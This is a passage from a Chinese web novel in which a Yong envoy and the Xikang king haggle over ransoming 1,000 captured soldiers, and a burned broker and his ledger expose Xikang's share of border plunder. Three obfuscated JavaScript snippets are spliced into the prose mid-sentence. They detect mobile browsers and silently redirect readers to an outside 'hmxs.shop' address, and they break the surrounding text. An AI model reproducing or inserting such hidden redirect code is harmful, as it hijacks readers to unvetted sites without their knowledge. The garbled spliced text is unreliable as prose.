大雍使臣终究是走了,留下这么个死寂的场子。筹备多时的启明大典,也不得不黯然收场。 然而,康朔怎能甘心?反正雍使在金凉城还要待一阵子,反正还有诸多事宜要交涉,他一定要扳回一局。 果不其然,启明大典结束后,当晚亥时三刻,西康的使者便到了西华馆,来人传达王命,邀雍使于次日辰时初刻,前往主理外务的盟会司,就雍军俘虏交接事宜,进行磋商。 俘虏交接示意,源于三个月前,西康递至兴安的一封国书。 书中称,乌护、斜律等部屡犯大雍边境,劫掠时俘获雍军一千。西康身为西境诸部共主,不忍上国将士沦落蛮荒,便出兵震慑,将这些被俘士兵接回金凉城,妥善安置。值此和亲佳期,正好一并送还,以彰两国睦谊。 话是亥时三刻传到西华馆的,谈判时间却是辰时初刻,满打满算不足五个时辰。期间,使团需拟定方略、整理仪容,还需驱车穿越半个金凉城前往盟会司,能真正休息的时间所剩无几。 出门在外,舟车劳顿、宵衣旰食,对于使团众人而言,本就是家常便饭。莫说还有几个时辰休息,就算连轴熬到天明,大家也不过是嘴上相互抱怨几句,心中还是差事要紧。 但在严修明看来,战俘交接事宜,如此仓促地被提上日程,恐怕没那么简单。作为久经沙场的武将,一眼便看出这是趁其不备、出其不意的战术。恐怕康硕要拿此事做文章。 可他究竟打的什么算盘? 思量一番,严修明命副使周兆安出面,携几名精于边务与钱粮的属官前往谈判。自己则坐镇西华馆,统观全局。一旦前方谈崩了,或者出现僵局,只要他未出面,便还有转圜的余地。 此外,考虑到西康方面没有见到自己,可能以此为由,拒绝谈判,便又将自己的信印、使印等全部交给周兆安。 7. 谈判(1) 盟会司谈判,果真如严修明所料。使臣们刚踏入议事厅堂,大门就被关上了,严严实实,连只虫子都飞不出去。 康朔此举,倒不是软禁上国使臣,他也不敢。只是得知严修明坐镇后方,生怕此间商议的细枝末节、乃至使臣们的神态反应,过早泄露到西华馆,让那位正使有了预判应对、扭转局势的余地,便下令严防死守。 而周兆安等人,被拖在盟会司内,整整一日一夜。 堂内的坐席又凉又硬,硌得人腰背生疼,困极乏极,却无榻可眠,只能强打精神;送来的餐食茶水简陋寡淡,吃也吃不饱,仅够吊着精神;即便想要出恭方便,亦有西康侍卫陪同,像看守犯人一般。 至于参与谈判的西康官员,就更过分了。你问前门楼子,他说胯骨轴子。任你据理力争、追问要害,他们总是避实就虚,答非所问。整整一天,车轱辘话反复拉扯,磨得人精疲力竭,却毫无寸功。 到了这时,周兆安等人算是明白过来了。 康朔这是变着法打持久仗,消耗众人的精力与耐心。待到人困马乏、意志松懈时,再稀里糊涂被他摆上一道。若是许了不该许了,应了不该应的,办砸了天家的差事,独独他占了便宜,倒霉的却是在这里忍饥挨饿的众人。 终于,夜幕低垂,谈判暂停。 周兆安经历了这一遭,是头昏脑胀,脚下发虚,也不知怎么回到的西华馆。甫一下车,一阵夜风兜头吹来,激得他连打两个寒战,猛地清醒了。再回想这一天的事,顿时怒上心头,脸涨得跟关公似的。 他踉跄步入正堂,看见严修明等在那里,也顾不得整理官仪,一股邪火轰然炸开: “额贼!” “西康这群狗食的,一个个笑得弥勒佛一样,嘴上长的都是沟门眼子!” …… “说好了归还将士,一张口便要我朝补偿其供养之耗。整整十万石粮和五万匹绢!”他叉着腰,唾沫星子横飞,“养兵才花几个钱?这分明是借了咱们的人头,敲咱们的竹杠!谁不知道,乌护、斜律等部进犯雍境,就是他康朔贼子撺掇的!抢了钱,他西康要分账;掳了人,也被他扣下,反手跟咱们讨人情?!脸皮咋跟城墙一样厚呢?!” 严修明本是武将出身,此次初为使臣,朝廷担心他耐不住性子、冲动行事,才特派了这位素有“儒雅沉稳”之名的周兆安为副使,从旁辅佐斡旋。 谁知,如今竟是这位儒雅的周大人先破了功。此番谈判后,他一回来就破口大骂,芬芳无限。 可严修明心知,这怨不得周兆安。要怪只怪康朔方面太过分了,用这般无赖手段反复搓磨,生生把一位端方文臣逼成了街巷泼皮。 见他骂得口干舌燥,严修明默默伸手,想去替他倒杯茶。可他刚摸到壶柄,就被周兆安一把夺去,直接对着壶嘴往口里灌,茶水顺着胡须往下淌,也顾不上擦。 “严国公,您是没瞧见那帮人的嘴脸!”他撂下茶壶,用手抹了把下巴,怒火更盛,“西康众臣咬死说,咱们的将士,是他们‘千辛万苦’从众部斡旋而来。我当场就拍桌子问,‘既是如此,为何每次乌护、斜律扰我边境,你西康军皆在?’您猜他们怎么说?” “怎么说的?” 周兆安苦笑道:“他们说是去震慑众部的!这他娘的不是把咱当傻子哄么?!” 他喘了口粗气,炮仗似的继续骂:“西康军要是真去震慑,为何回回都跟算准了似的,等胡虏杀完了、抢美了才赶到?为何不见他们砍几个胡虏头子给咱们助助兴?这分明是跟着野狗捡屎吃,还咂巴着嘴说自家开了荤席!一群没脸没皮的贼人!” 严修明拍了拍周兆安的肩膀,将他拉到自己的位置上,坐下歇息,又向众人安慰道:“今日诸位都辛苦了。从前我任凉州刺史时,与康朔交过手,此人奸猾固执,极为难缠。此番谈判,诸位困顿饥乏,还能谨守方寸、不失底线,没让西康占去半分便宜,已属难得。待差事办完,我定在奏报上言明各位的功劳。” 被严修明劝了好一阵,周兆安才算是顺过气来,与其他诸使回房歇息了。 这次谈判结束后,西康方面再未提及战俘交接之事。严修明料定,这又是康朔的主意,故意晾着他们,于是也按兵不动,从未派人去询问。 终于,七日之后,王宫内侍来人传话,说西康王邀请严修明入宫,闲谈叙旧。 寥寥几句话,颇耐人寻味。尤其是这句“闲谈叙旧”,也不知是谈国事,还是谈私事。 这日,严修明带了两名亲随,乘车去往西康王宫。 到了那里,康朔已经在清心台摆了一桌酒席。见严修明走来,他堆起满面笑容,快步上前相迎:“修明老弟,可算把你盼来了!快请坐!” 严修明只淡然寒暄两句,便与他一并入席。 起初,康朔绝口不提盟会司谈判的僵局,权当没发生过,只聊和亲之事与旧日交情。严修明见状,也从善如流,闭口不谈公事。 不仅如此,他干脆什么都不谈,只管拿着碗筷,对着满桌佳肴埋头大吃。炙羊肋、驼蹄羹、奶酥、蜜饯……他吃得从容不迫,却速度惊人。 眼看着一桌菜肴,已经下去了大半,康朔终究是坐不住了。 他为严修明添了一杯酒,自己也举起酒杯道:“前几日盟会司那里,底下人不会办事,让老弟麾下诸位辛苦了,都是为兄安排不周。” 严修明没接那杯酒,反而不慌不忙夹了一块羊肉送进口中,细细咀嚼,直至完全咽下,才抬眼看向举了半天酒的康朔,缓缓道:“我倒是无妨。只是苦了副使周兆安他们。当夜回去便发了寒热,在西华馆躺了好几日,今日才算能起身。” 康朔面皮一紧,随即讪笑道:“实在是惭愧。战俘交接本不是麻烦事,我便没有过问,谁料他们如此怠慢,反倒让老弟看笑话了。” 话说到这,严修明也顺势问道:“那康兄如今的意思,这一千雍军,打算如何交接?” 康朔叹了口气,又开始哭穷哭难:“修明老弟,你我相识多年,为兄也不说虚的。这一千人,是我从乌护、斜律那些豺狼手里硬要来的。光是打点、安抚,便耗去不少钱粮。西康地瘠民贫,这些年又天时不顺,实在是周转不开……” 又来了。 不过,严修明早已想好应对之策。 不待康朔话音落定,他便轻轻一摆手,气势豪迈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062461|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地靠在椅背上:“康兄不必多言,不就是十万石粮和五万匹绢吗?若能换回一千将士,安陛下之心,稳千里边陲,这些钱粮不算什么。” “当真?”康缇眼睛一亮。 “自然当真。”严修明微微颔首,旋即话锋一转,“不过,这毕竟不是个小数目。粮绢调拨,转运千里,非旦夕可至……” 他低头摩挲着酒杯,皱着眉头,佯装思虑一番,片刻后又道:“不如这样,我做主,请朝廷首批调拨一万石粮、一万匹绢。待公主銮驾平安进入雍后,即刻启运,交付金凉。余下之数,按季支付,一年为期。如何?” 听了这番话,康朔脸上的笑容渐渐消失。 钱,拿到手才是真的。他明白这个道理,更明白严修明所谓“按季支付”,不过是想将剩余钱粮拖得不了了之。 画张大饼就换走俘虏? 那不能够! 想到这,康朔重新堆起笑容:“如此甚好。那么,为兄也投桃报李,待首批粮绢抵达金凉,我便立刻释放两百战俘,让他们与家人团聚。至于剩下的两千人嘛,自然也是按季送还。老弟,你看如何?” “康兄这是信不过我啊。”严修明的声音瞬间变冷了许多,脸上的笑意也消失了,“既是信不过我,待我回奏京师,请圣上另派使臣来议吧。” 说罢,他重新拿起食箸,就着早已变凉的菜肴,又吃了起来。 “老弟言重了!我怎会信不过你?”康朔笑得有些僵硬,“实在是西康小国寡民,难抵西境众部……” 任凭康朔怎么说,严修明始终一言不发,大吃特吃。两人一时又陷入僵局。 很多事情就这样,一千战俘,看似微不足道,可事关邦交,便重若千钧。若就此舍弃,大国颜面尽失,更寒了将士的心;若力保赎回,区区一千,那么大的代价,也确实不值得。 而严修明早就看穿这一点。有些僵局,不可强攻,事缓则圆。 只是,苦了那些被俘的将士了。西康嘴上说着,实则和关押犯人没什么区别,全都在阴湿的大牢里塞着。 身为使臣,严修明深谙博弈之道,懂得取舍与等待。可他也是带过兵的将军,知道将士之苦,终究是于心不忍。他将那些冷菜大口大口地塞入嘴里,不过是逼自己咽下这口气。 就在两人僵持之际,一阵突兀的嘈杂声打破了眼前的静默。 康朔眉头紧皱,对内侍斥道:“去看看,让那边安静些,休要惊扰贵客!” 内侍匆匆而去。不过片刻,又是一阵闷响与凌乱脚步声。二人不约而同地向窗外望去,只见一缕黑烟携着焦糊的气味,飘然而至。紧接着,是一声凄厉尖锐的惨叫。 “走水了?” 两人对视一眼,瞬间了然,几乎同时起身,疾步向外冲去。 甫一出来,眼前的景象便让两人心下一惊。 只见廊道那头,一个被烈焰吞噬的人影正疯狂地挣扎、奔跑,并发出阵阵哀号。内侍、婢女们惊慌失措,提着水桶追赶,水花四溅。侍卫试图拦阻扑打,惊呼不断,场面一片混乱。 就在跃动的火光之后,一个纤秀的身影悄然出现。 正是康缇。 8. 谈判(2) “救命啊——” 那被烈火焚身之人发出撕心裂肺的嚎叫,整个人像个火球一样滚滚而来。所过之处,连空气都扭曲蒸腾。 与此人同时出现的,还有康缇。她带着两名婢女从另一头走来,经过近在咫尺的火人,只冷冷瞥了一眼,就像瞥过一片无关紧要的枯叶,便仍朝着康朔所在之处,款款行去。 那火人早已被烧得理智全无,只凭本能在地上翻滚弹跳,忽地挣扎起身,竟跌跌撞撞朝着康缇身后直扑过去。 “缇儿当心!” 康朔心头骤然一紧,想也未想,便拨开身前的侍卫,疾步冲向康缇,一把将她牢牢护进怀中,并快速旋身,用自己的脊背隔开那疯狂的火团,同时抬腿狠狠踹了他一脚! 火人被踹得翻滚出去,振起一小团火,不偏不倚,正落在康朔的袖口之上。“嗤”的一声轻响,那袖口布料顷刻灼烧起来。 康朔见状,立即将怀中的康缇往安全处推开,自己猛力拍打袖口上的火。 所幸火苗并未蔓延开来,周围侍卫也已冲上前来扑打,很快便将那簇火焰扑灭。只是他的手背被灼出一小片红痕。 “缇儿,可伤着了?吓到没有?”康朔顾不得手上灼痛,急急上前扶住康缇的肩膀,目光在她周身来回扫视,见她衣衫齐整、并无损伤,方才松了一口气。 另一边,更多侍卫与内侍已闻声赶来,携着水桶、湿毡与长杆,将地上那犹在抽搐的火人团团围住。 泼水的泼水,扑打的扑打……乱糟糟地折腾了好一阵,这人身上火焰终于渐渐熄灭。最后,只留下一具半边焦黑、半边沾满尘灰的躯体,蜷在地上,发出断断续续的呻吟。 康朔僵立在原地,脸上血色尽失。他盯着地上那团不成人形的东西,心中又沉又冷,半晌才接连斥问,“怎么回事?”“此人是谁?”“何以至此?” 众人伏跪在地,你一言我一语,只慌慌张张地陈述自己是何时何地见到这火人,又如何取了水桶、披风前来扑救。言辞琐碎,前后交织,却无一句有用的。 而那已被烧得焦黑的人,口中仍发出阵阵呻吟,似乎想说什么,可谁也听不清。 这让康朔心生躁意。 外使尚在,宫闱之中竟出这等骇人之事,若传了出去,西康颜面何在?他此刻必须要一个说法,哪怕是假的,只要说得过去也好。 可惜,眼前这些内廷的奴才,平素只懂得伺候起居、传递消息,哪里比得上前朝那些浸淫权术的王公贵戚,现编个谎也编不出来。 康朔见状,一怒之下骂道:“你们这些蠢货!王庭之中,竟让这样的事发生?一个个脑袋不想要了?!” 说罢,他冲到一名内侍旁边,一把打掉他的头冠,抓着他的头发,将人拎起来喝道:“你说,到底怎么回事?不说清楚,便与那人一样!” “回……回王上,我……”内侍吓得魂飞魄散,浑身哆哆嗦嗦,一句完整的话也挤不出来。 “啪!” 康朔抬手就给了他一记耳光。 “噗——” 一声极轻的笑,从康缇口中发出,与眼前的压抑格格不入。 她站在清心台的门边,看着急躁的康朔,仿佛在看一场闹剧。而这笑意,又轻又短,却如蜻蜓点水般,落入严修明眼中。 他不动声色地侧过目光,打量着这位素有“疯子”之名的公主。 不得不承认,康缇举止乖张,却实在美丽。半面侧颜如玉山凝雪,润白的皮相下是峥嵘之势;纤长的睫毛好似蝶翼,眨眼间皆是灵动。 严修明心下暗忖:这西康公主笑起来,倒真能唬人。若非知晓她行事乖张,只怕要以为是个温婉明净之人。不过,她这点疯劲儿,比起她那王兄,到底还是差了些。终究是女子,再能折腾,又能翻起多大的浪? 就在这时,康缇似乎发现了来自侧后方的凝视,倏然回头看向严修明,害得他心头一跳,即刻撤回目光,望向前方一群人所在的喧嚣处。 康朔那头还在逐个盘问,倒也问出些眉目。 一名侍卫回想片刻,才犹豫着上前半步禀报:“回王上,卑职约莫两年前,还在金凉城巡防司当值时,曾在西市榷场附近,见过那人。是个互市牙郎,好像叫石勒赫。” “互市牙郎?”康朔稍稍眯起眼睛,声音压得低沉,“一个市井牙郎,如何能出现在这宫禁之内?” “卑职,卑职不知。不过……”侍卫略作停顿,硬着头皮道,“许是因为拓跋弘大人的门路。” “拓跋弘?”康朔听到这个名字,不由得一怔,“此人与拓跋弘有何干系?” 侍卫回道:“拓跋大人乃榷场司司监,而这石勒赫是专门替榷场司,与乌护、斜律等部牵线搭桥,经办些钱粮买卖。拓跋大人与此人往来颇为密切,还曾将印信交由此人,说是为了行商便利。先前这石勒赫因强买强卖、欺压小商惹出些风波,卑职等奉命去拿人,也是因为拓跋大人这层关系,便作罢了。” 康朔听了这番话,脸色瞬间变得铁青。 乌护、斜律等部落,常年侵扰大雍边境,抢来的东西五花八门。粮食、银钱、布匹、盐铁这些实用之物,可直接与西康瓜分。而瓷器、漆器、珠宝、书籍、字画等,多数部落留在手里几乎是用不上的,便由西康设榷场司,统一折换成必需物资,再按约定比例分配。 至于榷场司,得了这些财物,往往便经由牙郎、买办之手售出,所得银钱,最终流入西康国库。 如此看来,这个石勒赫,便是拓跋弘手中一个专门处理这类财货的买办。 这样一个人,为何会突然出现在西康王宫?偏偏还选在严修明这个雍国使臣在场的时机?分明是有人要将西康与各部私下分赃之举,都捅到雍使面前,好将他先前的说辞全部推翻。 这是妥妥地要打他西康王的脸! 可是此人出现的方式,如此惨烈,其背后之人又是出于何种目的?这一切实在匪夷所思。 万千念头在康朔脑中翻腾,但他此刻已无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062462|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暇细究。当务之急,是立刻将这件事压下去,绝不能在严修明面前再掀风波。 于是,他深吸一口气,走到侍卫身旁暗示道:“你看仔细了?一个市井牙郎,怎会有榷场司要员的印信?怕是……认错人了吧?” 那侍卫是个实在性子,不知其中缘由,也未曾领会王上话中深意,还认真地解释道:“卑职没有看错!王上,那人额角有道疤,是与人斗殴所留。一验便知。” “够了!”康朔骤然喝止。他见这侍卫如此蠢笨,心中更加烦躁,不觉喘起了粗气,胸膛也跟着微微起伏。 再问下去,只怕这夯货会吐出更多细节。于是,康朔强行心中躁意,压下的躁怒,挥了挥手,用略微疲惫的声音道:“先将此人抬下去,命医官尽力诊治,日后再问。” 焦黑的石勒赫被抬走了,那惨不忍睹的模样,深深烙在众人眼底。 严修明自始至终静立一旁,将这一切尽收眼中,他面上波澜不惊,心底却已飞速盘算开来: 乌护、斜律等部落,逐水草而居,以牧猎为生,能有什么了不得的买卖?竟还需通过一个榷场司,并用牙郎经手?唯一的可能,便是经手的货物来路不正,八成正是从大雍边镇抢掠而来的。 “好一个康朔,好一个西康。一面唆使众部抢掠我大雍,背后分赃;一面故作姿态,借大雍将士与我讨价还价。”严修明心道,“这下,看你还能拿出什么说辞。” 待救火的人群纷纷散去,康朔扫了一眼满地狼藉,强迫自己定了定神,转身面向严修明,脸上挤出惯常的笑容:“今日宫中突生意外,惊扰了老弟,本王实在过意不去。不如,今日暂且到此,本王命人护送老弟回西华馆好生歇息。你我改日再叙,如何?” “康兄言重了。”严修明笑意温和,没有一点要走的意思,“区区一点意外,何足挂齿。倒是修明还有些话,想与康兄细细分说。” 真是请神容易送神难。 康朔嘴角不自然地抽动了一下,笑容有些发僵:“也好,也好。”他目光转向一旁静默的康缇,语气加重了几分,“缇儿,此处杂乱,不是你该待的地方,先回去吧。” 康缇本就是专程来看热闹的,又怎会轻易离开。 她非但没走,反而上前几步,径直走到康朔与严修明跟前,缓缓摊开手,掌心上赫然多了一枚小印,边款刻着三个字——榷场司。 “是你?!” 康朔瞪着一双眼睛,不可置信地看着康缇,她始终那么平静。康朔这才意识到,石勒赫之所以出现得如此突兀,正是自己的妹妹所为。 “你这是做甚?!” 惊讶与愤怒交织下,康朔似乎忘了一边的雍使严修明,也忘了自己西康王的风度。他伸出那只刚被烫伤的手,狠狠攥住了康缇的肩头,连推带搡,将她拽到不远处的廊柱后面。 “你把这该死的牙郎弄到这儿来,到底想干什么?你不知道雍使在这里吗?你是要把西康的脸面、把你王兄我,一起架在火上烤吗?” 9. 谈判(3) 康朔调教人是有一手的,向来是恩威并施、御下有术。再桀骜不驯的性子,到了他手里,也终会被磨得棱角尽失,服服帖帖。 可若因此便说他严苛暴戾,那实在是天大的冤枉。 就像今日,宫苑之中闹出这么骇人的事,他也只是气恼众人办事不力,乱了章程,并未当真责罚他们。就连那个言辞直愣愣的、险些捅破窗户纸的侍卫,也只是挨了句呵斥。 可唯独两样是碰不得的,一旦触及,他绝不会轻易饶恕。其一,是他的权威;其二,便是最疼爱的妹妹康缇。 有意思的是,他最爱的妹妹要挑战他的权威。这无异于用最爱的匕首,往自己心尖上捅。 是他以一己之力,扛起了风雨飘摇的西康,在群狼环伺中艰难跋涉,才赢得今日这番局面。也是他,既当兄长又似父君,穷尽心血,将粉团似的妹妹,一点一点娇养长大。 康缇自小便享尽了人间至宠。宫里的稀罕物,永远先紧着她挑;她想要的,也从未落空过;便是偶尔任性闯了祸,哪怕再大的麻烦,也是康朔默默地挡在前面,全力庇护,不舍得让她受半点委屈。 可他心里,何尝没有委屈? 这天下公主的姻缘,哪一个不是国事,哪一个不是由君王做主?他经年累月倾注的疼爱、庇护、纵容,难道就抵不过这一点代价么?况且康缇嫁给大雍皇帝,直接封妃,尊荣无比,也不算委屈了她? …… 此刻,康朔看着眼前面无表情的妹妹,一阵钝痛从心口传来,迅速蔓延到全身。他极力压制住情绪,双手紧紧攥着康缇的肩头,一步步逼近,咬牙切齿地追问,就想知道她到底有没有良心。 终于,康缇的后背抵上了廊柱,退无可退。康朔却仍不撒手,用压抑又颤抖的声音问:“你究竟,想要我怎样?” 康缇抬眸,静静地看着王兄。半晌,那死水般平静的脸,终于有了变化。她眨了眨眼,一颗泪珠毫无征兆地滚落,划过苍白的脸颊。 康朔心头猛地一紧,下意识地松开了手,紧绷的语气也稍稍缓和:“赶紧回去。” 可康缇并没有离开,她抬起手,轻轻擦去眼角的泪珠,随即从怀中摸出一本皱皱巴巴的小册子,递到康朔眼前。 康朔一把夺来,急速翻看。这是石勒赫的私账,记着他经手处理的雍地财物、售得银钱数目,以及给拓跋弘的提点。 看完后,他猛地抬头,凌厉的目光死死盯住康缇:“你将此物带来做甚?” 康缇又恢复了平静的表情,还努了努嘴,漫不经心地抽回账本,在康朔惊愕的注视下,两手一分,将这小册子撕了。 “嗤啦——” “嗤啦——” …… 三两下,账册被撕个半碎。 康缇随手一扬,那些纸片便随着时起时落的风,飘散而去,落了一地。 她仰头看着那些飘散的碎片,嘴角慢慢勾起,露出得意的微笑。 而康朔就那样定定地看着她,看着她一举一动间,分明都在刻意撩拨他胸腔里的怒火。 “很好玩,是么?”他声音压得很低,像深谷里的回响,“你知道我今日要与严修明交涉战俘之事,更知道他怀疑西康与各部私下分了抢来的财物,但苦于没有证据,谈判时占不到半分便宜。所以,你今日特意准备了这出戏,就是想借他雍使的身份对付我,对么?” 康缇从容地笑着,甚至俏皮地努起嘴,摇了摇头。 康朔也笑了,笑得阴冷。 “我说错了?”他往前逼近半步,声音比方才更沉,“我不可能错!你觉得雍使能压我一头,便用这样的方式告诉严修明,他们的怀疑没错,人证物证也都是存在的。可你不想背个‘吃里扒外’的名声,便搞出这么大动静销毁证据,替你王兄我保留了点转圜的余地。对么?” 康缇脸上的笑容,随着他一句句剖析,慢慢消失。 而康朔捕捉到她脸上微妙的变化,言语间更加得意:“呵,就说我不可能错。我是你王兄,太了解你了。” 他顿了下,帮康缇理了理额角的碎发:“缇儿,你可真让我开了眼了。为兄头一次见,有人能将‘此地无银三百两’玩得这么高明。可这也是最蠢的招数。我早教过你,凡事最忌首鼠两端,心慈手软。你若真想毁人,要么不出手,要出手就做得彻底些。” 被看穿了心思,康缇有些紧张,有些羞愤。她一把推开康朔,转身便要离开。可走了没几步,却又被康朔拉住。 “别急着走啊,”康朔的声音从身后传来,带着几分癫狂,“王兄再教你一次。” 说罢,他强行拽着康缇,硬是将她拖回庭院中央,想当着严修明的面将此事分说清楚。 他冷嗤一声,指着地上那些账册碎片,对康缇冷声道:“你惹的祸,自己收拾。给我一片片捡起来,整理好,拿到楼上去。你亲自交给严修明!” 说完,便不再看她,拂袖上楼。 席面上的残羹冷炙被撤下,换上了一桌新酒新菜。 而严修明声色平淡,“康王,叙旧也叙了,现下该谈正事了。都谈妥了,我也好回去交差。” 说罢,他摊掌请康朔回到主位,自己则在对面,正襟危坐,目光平视,神色端重,一副公事公办的架势。 不过,康朔也做好了准备,开门见山道:“严正使,事到如今,本王也不愿再作遮掩了。正如你所知,西康与各部之间,常有皮毛玉石交易,为此专设榷场司管辖,司监便是拓跋弘。谁料此人利欲熏心,贪得无厌,竟敢勾结乌护、斜律等部,收购从贵朝边镇劫掠的财物,再经由石勒赫这等市井牙郎高价转卖,自己从中牟利。” “哦,竟是这样?”严修明眉头微挑,不置可否,只静待下文。 康朔的语气则愈发沉痛激愤:“此等蠹虫,欺上瞒下,败坏我西康法度纲纪,险些损害你我两国邦交和睦,着实可恨!说起来,也是本王驭下不严,竟让此等败类苟活至今,实在愧对陛下圣恩!不过,请严正使放心,本王即刻下令,彻查榷场司。凡经拓跋弘之手售出、源自贵朝的财物,一旦追回,必当悉数奉还。” 一番话说得义正辞严,情真意切。若非严修明深知其为人,只怕真要信上三分了。 “康王倒也不必如此麻烦。”严修明神色淡然,语气平和,“我大雍地大物博,不缺那点零散财物。康王若能追回,也不必千里迢迢送还了。” 一听到“不必送还”,康硕眉头舒展,稍稍松了口气。 可紧接着,严修明又慢悠悠地补充道:“全数抵了那十万石粮和五万匹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062463|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绢吧。” “这……这如何能相抵?”康朔面露难色,“财物追缴尚需时日,且在市井流转一番后,难免有折损遗失。而我西康近来边患频繁,民生多艰,亟须粮食绢帛。追回的那点财物,根本不足以解此燃眉之急。” “嗯……也是。”严修明微微蹙眉,佯作思忖。片刻后,他又抬眼道,“要不,我调派些雍军精锐前来,助康王追回财物。若是还不够的话,咱们直接杀去乌护和斜律,把他们抢的,都追讨回来。如何?” 康朔闻言,脸色骤然一沉:“严正使此言何意?雍军入我西康地界,这成何体统!你这般说辞,可不像是诚心议事。” “那康王方才所言,便是诚心议事了?”严修明不疾不徐地反问,“当着我的面,将那牙郎焚作焦炭,眼下生死未卜。想来那位拓跋弘大人的下场,也好不到哪里去。反正修明一介外臣,无权插手贵国内务盘问。那么此事原委究竟如何,自然全凭康王一言裁断。不是么?” 康朔嘴角抿紧,旋即又松开:“此事……原是我这个妹妹。康缇平日乖张顽劣,却也算识大体。她隐约知晓拓跋弘的勾当,又见正使在此,唯恐此事贸然揭开,会损及两国和气,便自作主张,私擒了这牙郎,原想寻机销毁那些腌臜证据,日后再行追责。只是……” 他叹了口气,摆出一副无奈的表情:“她原本是替我分忧,却好心办了糊涂事,今日此举,确实欠妥。方才我已重重斥责于她。两国相交,贵在诚信,岂能行此掩耳盗铃之事?” “哈哈哈哈……”严修明听罢,竟笑出声来。他也算佩服康朔,甭管事实如何,他总能找到一套恰如其分的说辞,将自己那狼子之心摘得干干净净。 康朔皱眉:“严正使何故笑得如此开怀?” “康王慧心巧舌,机变无双啊。”严修明稍稍收敛了笑意,可还是一副讥诮的表情,“这番自圆其说的功夫,便是那些巧舌如簧的太监内侍,恐怕也自叹不如啊。” 康朔听出他在揶揄自己,脸色彻底阴沉下来:“严正使此话,是不信本王?” 有些话,点到即可,不必多作解释。 严修明笑了笑,话锋一转:“什么信不信的,既然你我两国为邦交,那不论康王如何解释,修明自然是信的。只是,那十万石粮、五万匹绢,给不了!” “呵,”康朔冷笑,“那一千战俘,严正使是不要了?” “要!当然要!”严修明答得斩钉截铁。 “你拿什么要?” “一万石粮。” “方才还是一万石粮和一万匹绢呢?” “此一时彼一时。” “那抱歉了,一千战俘,一个也别想带走。” “那修明回去就向陛下请旨,关闭凉州对西康的口岸,一应盐、茶、铁器、绢帛等物,皆改道陇右,经吐谷浑转运。” …… 两人你一言,我一句,讨价还价,句句机锋,都化作刀光剑影,寸步不让。 谈判一时陷入僵局。 片刻后,一阵轻盈的脚步声由远及近,打破了这僵局。 众人侧目,只见康缇手中端着一个黑漆托盘,步履平稳,径直走到康朔身侧。她微微躬身,将托盘略略倾斜。二人瞧见了盘中之物,正是那本被撕碎的账册。 10. 谈判(4) 谈判逐渐偏离了预期。不过康缇的出现,恰好给了康朔一个契机,再次将话题扯回去。 “缇儿来得正好。”他唇角微扬,指了指严修明,“快将此物呈给严正使过目。” 接着又向严修明解释道:“这便是那石勒赫私藏的账册,其中拓跋弘每次收受的提点,何时、何地、几何,记得是清清楚楚。” 君王原本是痛恨臣属贪渎的。 但事分两面看,一旦握住了这等实证,就等于握住了一把趁手的刀。必要时,便可借这罪证,将一切难以言说的勾当,悉数推到某个败类头上,自己依旧清清白白。 这套帝王心术,康朔懂,严修明作为一镇之主,又何尝不懂。他甚至懒得去看那托盘中的废纸。 只是,康缇已端着托盘走近,微微屈身。出于礼节,严修明还是站起身来,向她还了半礼,这才伸手接过托盘,随意拈起几片,目光淡淡扫过其上模糊的字迹。 “严正使,如何?”康朔身体微微前倾,语气里有一丝不易察觉的炫耀意味,“本王所言非虚吧?” 严修明并未作答。他只是捏着那几片,抬眼看了下康缇。见她似乎在愣神,目光瞥向窗外某处虚空,眼神平静而空洞,谁也猜不透她此刻想什么。 一个疯子有这般眼神,可不是好兆头。谁也说不准,她下一刻又会做出什么疯癫之事。 可这恰恰是严修明期待的。他心底又莫名其妙地躁动起来。 “来吧,别站着了,都坐。”康朔朗声招呼,“严正使,请坐。缇儿,你也过来,坐下。”既然要把事情分说清楚,那便坐下慢慢说。 尤其是康缇。她虽然口不能言,但可以听着。听听王兄是如何为这个国家殚精竭虑,并为她的婚事耗资巨万、费尽周章。更重要的是,让妹妹在自己身边,多学学权衡利弊、顾全大局的道理,此后远赴他乡,身处异国宫廷,方能审时度势,保全自身。 康朔重新转向严修明,指着那些碎片:“严正使匆匆一瞥,只怕也未能得见这账册全貌。不过本王已看过,最早一条是两年前,贩了一批青瓷。这批青瓷说多不多,可说少也不少,须得寻个稳妥隐蔽之处存放。那拓跋弘为掩人耳目,便私下贿赂了司藏署监守,将东西偷偷存了进去。此后那些牙郎,便径直从司藏署提货发卖。想来,其他财物亦是如此路数。或许,可以从司藏署的出库录中寻出些线索。不过……” 他稍稍酝酿,话锋一转:“不过本王还是觉得,一码归一码。我这边若能寻回财物,必定奉还贵朝。只是那粮绢之请,还望严正使体恤西康难处。” 